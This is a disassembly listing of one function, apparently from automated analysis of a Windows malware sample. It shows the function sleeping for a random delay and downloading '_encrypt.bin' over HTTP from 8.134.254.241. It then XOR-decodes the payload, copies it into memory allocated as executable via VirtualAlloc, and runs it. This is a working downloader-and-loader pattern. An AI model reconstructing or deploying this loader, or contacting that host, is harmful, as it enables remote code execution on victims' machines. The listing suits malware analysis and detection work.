Function at 0x401643
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x110
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb0], rcx
mov qword [rbp + 0xb8], rdx
mov qword [rbp + 0xc0], r8
mov dword [rbp + 0xc8], r9d
mov dword [rbp + 0x8c], 0
mov dword [rbp + 0x88], 0
mov eax, dword [rbp + 0x88]
cdqe
lea rdx, str.20:02:17
movzx eax, byte [rax + rdx]
test al, al
je 0x401705
mov eax, dword [rbp + 0x88]
cdqe
lea rdx, str.20:02:17
movzx eax, byte [rax + rdx]
cmp al, 0x2f
jle 0x4016fc
mov eax, dword [rbp + 0x88]
cdqe
lea rdx, str.20:02:17
movzx eax, byte [rax + rdx]
cmp al, 0x39
jg 0x4016fc
mov edx, dword [rbp + 0x8c]
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
mov ecx, eax
mov eax, dword [rbp + 0x88]
cdqe
lea rdx, str.20:02:17
movzx eax, byte [rax + rdx]
movsx eax, al
add eax, ecx
sub eax, 0x30
mov dword [rbp + 0x8c], eax
add dword [rbp + 0x88], 1
jmp 0x401685
mov eax, dword [rbp + 0x8c]
mov ecx, eax
call sub.msvcrt.dll_srand
call sub.msvcrt.dll_rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
imul eax, eax, 0x1a
sub ecx, eax
mov eax, ecx
imul eax, eax, 0x2ee0
cdqe
mov rcx, rax
call fcn.00401fef
lea rax, str.8.134.254.241
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x6c], 0x50
lea rax, str._encrypt.bin
mov qword [rbp + 0x60], rax
mov byte [rbp + 0x5f], 0x7e
mov dword [rbp - 8], 0
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.0048acb0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0
call sub.WINHTTP.dll_WinHttpOpen
mov qword [rbp + 0x50], rax
mov eax, dword [rbp + 0x6c]
movzx ecx, ax
mov rdx, qword [rbp + 0x70]
mov rax, qword [rbp + 0x50]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
call sub.WINHTTP.dll_WinHttpConnect
mov qword [rbp + 0x48], rax
mov rdx, qword [rbp + 0x60]
mov rax, qword [rbp + 0x48]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, [0x004a403a]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpOpenRequest
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpSendRequest
mov dword [rbp + 0x3c], eax
mov rax, qword [rbp + 0x40]
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov dword [rbp + 0x3c], eax
mov dword [rbp - 4], 0
lea rax, [rbp - 4]
mov rcx, qword [rbp + 0x40]
mov rdx, rax
call sub.WINHTTP.dll_WinHttpQueryDataAvailable
test eax, eax
sete al
test al, al
je 0x401885
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.00418260
mov eax, dword [rbp - 4]
add eax, 1
mov eax, eax
mov rcx, rax
call fcn.0049f9b0
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
test rax, rax
jne 0x4018a9
mov dword [rbp - 4], 0
mov eax, dword [rbp - 4]
add eax, 1
mov edx, eax
mov rax, qword [rbp - 0x10]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov r8d, dword [rbp - 4]
mov rdx, qword [rbp - 0x10]
lea rcx, [rbp - 8]
mov rax, qword [rbp + 0x40]
mov r9, rcx
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReadData
test eax, eax
sete al
test al, al
je 0x401902
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.00418260
jmp 0x401948
mov rax, qword [rbp - 0x10]
mov edx, dword [rbp - 8]
mov edx, edx
lea rsi, [rax + rdx]
mov rbx, qword [rbp - 0x10]
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.0048abb0
mov qword [rbp + 8], rax
lea rdx, [rbp + 8]
mov rax, rbp
mov rcx, rax
call fcn.00419f00
mov rdx, qword [rbp]
lea rax, [rbp - 0x30]
mov r9, rsi
mov r8, rbx
mov rcx, rax
call fcn.0048ac10
mov eax, dword [rbp - 4]
test eax, eax
je 0x401954
jmp 0x40184e
mov byte [rbp - 0x33], 0xbc
mov byte [rbp - 0x32], 0xab
mov byte [rbp - 0x31], 0xcb
mov qword [rbp + 0x30], 3
mov qword [rbp + 0x80], 0
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.004251c0
cmp qword [rbp + 0x80], rax
setb al
test al, al
je 0x4019ce
mov rdx, qword [rbp + 0x80]
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.0048ad20
mov rcx, rax
movzx r8d, byte [rcx]
mov rax, qword [rbp + 0x80]
mov edx, 0
div qword [rbp + 0x30]
mov rax, rdx
movzx eax, byte [rbp + rax - 0x33]
xor eax, r8d
mov byte [rcx], al
add qword [rbp + 0x80], 1
jmp 0x401973
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.004251c0
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x28], rax
mov dword [rbp + 0x7c], 0
mov eax, dword [rbp + 0x7c]
movsxd rbx, eax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.004251c0
cmp rbx, rax
setb al
test al, al
je 0x401a39
mov eax, dword [rbp + 0x7c]
movsxd rdx, eax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.0048ad20
movzx eax, byte [rax]
xor eax, 0x7e
mov ecx, eax
mov eax, dword [rbp + 0x7c]
cdqe
mov rdx, qword [rbp + 0x28]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
add dword [rbp + 0x7c], 1
jmp 0x4019ed
mov ecx, 0
call fcn.00401d15
mov qword [rbp - 0x40], rax
lea rcx, str.kernel32.dll
call fcn.00401d15
lea rdx, str.VirtualAlloc
mov rcx, rax
call fcn.00401da9
mov qword [rbp + 0x20], rax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.004251c0
mov rdx, rax
mov rax, qword [rbp + 0x20]
mov r9d, 0x40
mov r8d, 0x3000
mov ecx, 0
call rax
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x18], 0
jne 0x401aad
lea rcx, str.VirtualAlloc_failed_n
call fcn.00418260
mov ecx, 1
call sub.msvcrt.dll_exit
movzx ebx, byte [rbp + 0x5f]
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.004251c0
mov edx, eax
mov rax, qword [rbp + 0x28]
mov r8d, ebx
mov rcx, rax
call fcn.00402051
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.004251c0
mov rcx, rax
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x18]
mov r8, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
call fcn.004015c0
call fcn.004015c0
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x10], rax
mov rdx, qword [rbp - 0x40]
mov rax, qword [rbp + 0x10]
mov rcx, rdx
call rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rax, qword [rbp + 0x48]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rax, qword [rbp + 0x50]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rax, qword [rbp + 0x28]
mov rcx, rax
call sub.msvcrt.dll_free
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.0048acd0
mov eax, ebx
jmp 0x401b6e
add rsp, 0x110
pop rbx
pop rsi
pop rbp
ret
sub rsp, 0x28
call fcn.0040b900
mov rax, qword [0x004a9340]
xor edx, edx
mov r9d, dword [rax]
mov rax, qword [0x004a9330]
mov r8, qword [rax]
mov rax, qword [0x004a9320]
mov rcx, qword [rax]
add rsp, 0x28
jmp 0x401643